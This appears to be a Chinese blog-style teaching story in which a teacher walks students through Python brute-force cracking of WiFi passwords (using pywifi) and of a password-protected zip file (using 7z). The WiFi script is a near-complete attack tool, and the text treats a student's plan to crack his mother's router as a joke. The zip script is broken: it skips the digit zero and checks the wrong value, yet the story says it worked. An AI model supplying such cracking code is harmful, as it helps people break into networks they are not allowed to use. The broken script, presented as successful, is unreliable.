- python破解WiFi密码
刚下课,就有一群学生跑来问我。老师,我们刚刚学习了加密与解密。你能破译WiFi密码吗?面对突如其来的问题,我没有回答,而是默默坐到了机房的最角落里,打开了python开发工具。
师:还记得我们上周学的枚举算法吗?
生:记得。
师:WiFi破译因为python语言的发展已经变得特别简单。只需要导入两个模块,利用枚举算法写一个判断,依次验证即可完成Wifi暴力破译。剩下的就像老师等待你们成长一样,交给时间。
师:你们先安装pywifi和comtypes 两个模块。
生:老师等一下,我们打开cmd。输入:
pip install pywifi
pip install comtypes(如图1)
图1
师:很好,你们已经完成了很重要的一步。用前人做的WiFi破译的轮子。我们用它这个轮子接着往前滚动。
师:假设WiFi密码为8位纯数字密码的话,我们怎么尝试?
生:写了range(100000000)依次生成每个数。
师:很好,可是从开始生成的数都是一位的,只有从10000000这个数字开始才是8位数。
生:老师,那怎么办?
师:简单。str(i).zfill(8)可以默认填充8位字符。不足的可以前面补0。我们把数字转换成str类型,这样第一个字符就是00000000了。
生:懂了,原来python如此简洁,强大。
师:我们先生成8位密码。
生:在python编译器里敲出(如图2):
for i in range(100000000):
#生成8位数密码
pwd=str(i).zfill(8)
print(pwd)
图2
师:接下来用枚举算法,使用pywifi模块,将wifi名称、密码配置进去,进行尝试。在键盘上一顿操作。
import time
import pywifi
from pywifi import const
for i in range(100000000):
#生成8位数密码
pwd=str(i).zfill(8)
print(pwd)
profile = pywifi.Profile()
profile.ssid ='WiFi名称' #WiFi名称
profile.auth = const.AUTH_ALG_OPEN #验证方式
profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
profile.cipher = const.CIPHER_TYPE_CCMP #加密类型
profile.key=pwd
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
wedding = iface.add_network_profile(profile)
#尝试连接
iface.connect(wedding)
time.sleep(3)
if iface.status() == const.IFACE_CONNECTED:
print('连接成功')
break
else:
print('连接失败')
生:老师你敲代码太快了,等等我们。
师:距离上课还有5分钟,速度啊。
生:疯狂地敲键盘中……等下,老师,这个sleep(3)是干嘛的?
师:为了防止路由器死机啊。就好比你一停不停的敲门。谁都会认为你是不速之客的。我们要礼貌,每隔3秒钟敲一次吧。
师:老师用鸿蒙系统给你们开个手机热点。名字叫:yanglin。你们破译一下。
生:老师我可以!老师我成功了!经过一段时间的尝试,大家纷纷传来了破译喜讯。
学生仔细一看破译的密码,对破译结果目瞪口呆。
生:老师,这也太简单了吧12345679?谁会用这个密码?
师:不记得上节课12345678都有人用?哈哈,这不是节省时间嘛,你们上节课也学了,越简单的密码破译时间越短!当然了。复杂的也是这个破译流程。
生:好。老师我改造了一下for循环(如图3),破译速度嗖嗖的。
图3
生:老师,我家的路由器刚好也是8位数字,我妈改了密码不让我上网,我中午回家写程序试试,看看能不能破译出来登陆路由器改个新密码,一脸坏笑的说着。
师:祝你好运。小心上演妈妈再打我一次。
铃声:上课时间快要到了,请做好准备。
几个学生纷纷站起身,边缓缓站立边紧紧盯着电脑屏幕,努力记忆住每个程序语句,那一刻时间仿佛静止。但我分明看到了每个学生脸上洋溢着成功的自信。
- python破解压缩包密码
又是一个10点的晚上,学生们在信息网络群里也活跃起来。纷纷发表着最近了解的最新信息技术的沿科技知识。突然。有个学生在群里发出了一条信息。
含泪求助:我电脑有一个压缩包加密了,6位密码被我忘掉了。谁能帮我试出来?
眼看群文件下载的人数越来越多。10分钟了还没有结果。我默默的在群里发出信息。
师:让我来吧。
生:哇。老师终于不潜水了。大家纷纷留言,怎么破解?求教。
师:简单。打开python编译工具。
师:还记得枚举算法吧?让计算机一个一个尝试总比人一个一个试要快吧!
生:果然,万能的python。
师:如果想要python命令行来打开zip压缩包,那么首先要找到尝试打开的命令行,即解压缩时使用的命令行。我们使用python脚本写嵌套循环,不断的对zip文件进行尝试解压,然后找回真实的密码。
生:怎么写命令行?
师:简单。大家可以参考一下:
7z -p 123456 t 压缩包名称.zip
# t:尝试打开,类似后台运行
# -p:尝试的密码
师:刚刚这位同学压缩包是几位密码?
生:6位。
师:太好了,这帮我们节省了好大一段时间,只要对6位纯数字进行尝试就可以了。
师:大家想怎么实现?
生:for i in range(1,10),再把数字变成转为字符型,再连接起来不就好了?
生:对哈,我们写1个循环,复制粘贴5次。就会有6个for循环。
生:这样的话每个数字怎么连接起来变成6位啊?
生:用加号。老师之前给我们说字符之间可以用加号进行连接。
师:非常好,看看谁先写出生成数字的python语句。
大家都纷纷沉默了。慢慢的我觉得是时候给大家说点苦口婆心的话激励一下多写程序,不要纸上谈兵(万字腹稿准备中……)。正当我马上就要按下键盘的时候。千钧一发之际,群消息开始闪烁。各种同学的程序截图开始刷屏。
师:大家太厉害了。为你们喝彩。撒花。
生:老师,我写的这个程序怎么不行?
师:缩进。缩进。缩进。重要的事情说3遍!python是靠缩进来证明谁是谁的一部分的。
生:好嘞。老师我成功了!(如图1)
图1
师:很好。主要的程序大家都成功了。后面就很容易了。结合刚刚写的解压命令。只要改造一下程序就行了。改造如下:
# -*- coding:utf-8 -*-
import os
import subprocess
import zipfile
def jieya():
for a in range(1,10):
for b in range(1,10):
for c in range(1,10):
for d in range(1,10):
for e in range(1,10):
for f in range(1,10):
passwd=str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
command='7z -p'+passwd+' t D:\文档.zip'
#t 表示test,不进行实际解压,只测试密码
print(passwd)
child=os.popen(command)#对文件执行cmd命令
print(child)
if child==0:
print("相册密码为:"+passwd)
return
if __name__ == '__main__':
jieya()
生:如此简单?表示难以置信,竟然1分钟就把代码写出来了!python确实厉害。
师:我拍拍了忘记密码的同学,问:学会了吗?
生:老师,我解压成功了!
师:你真棒……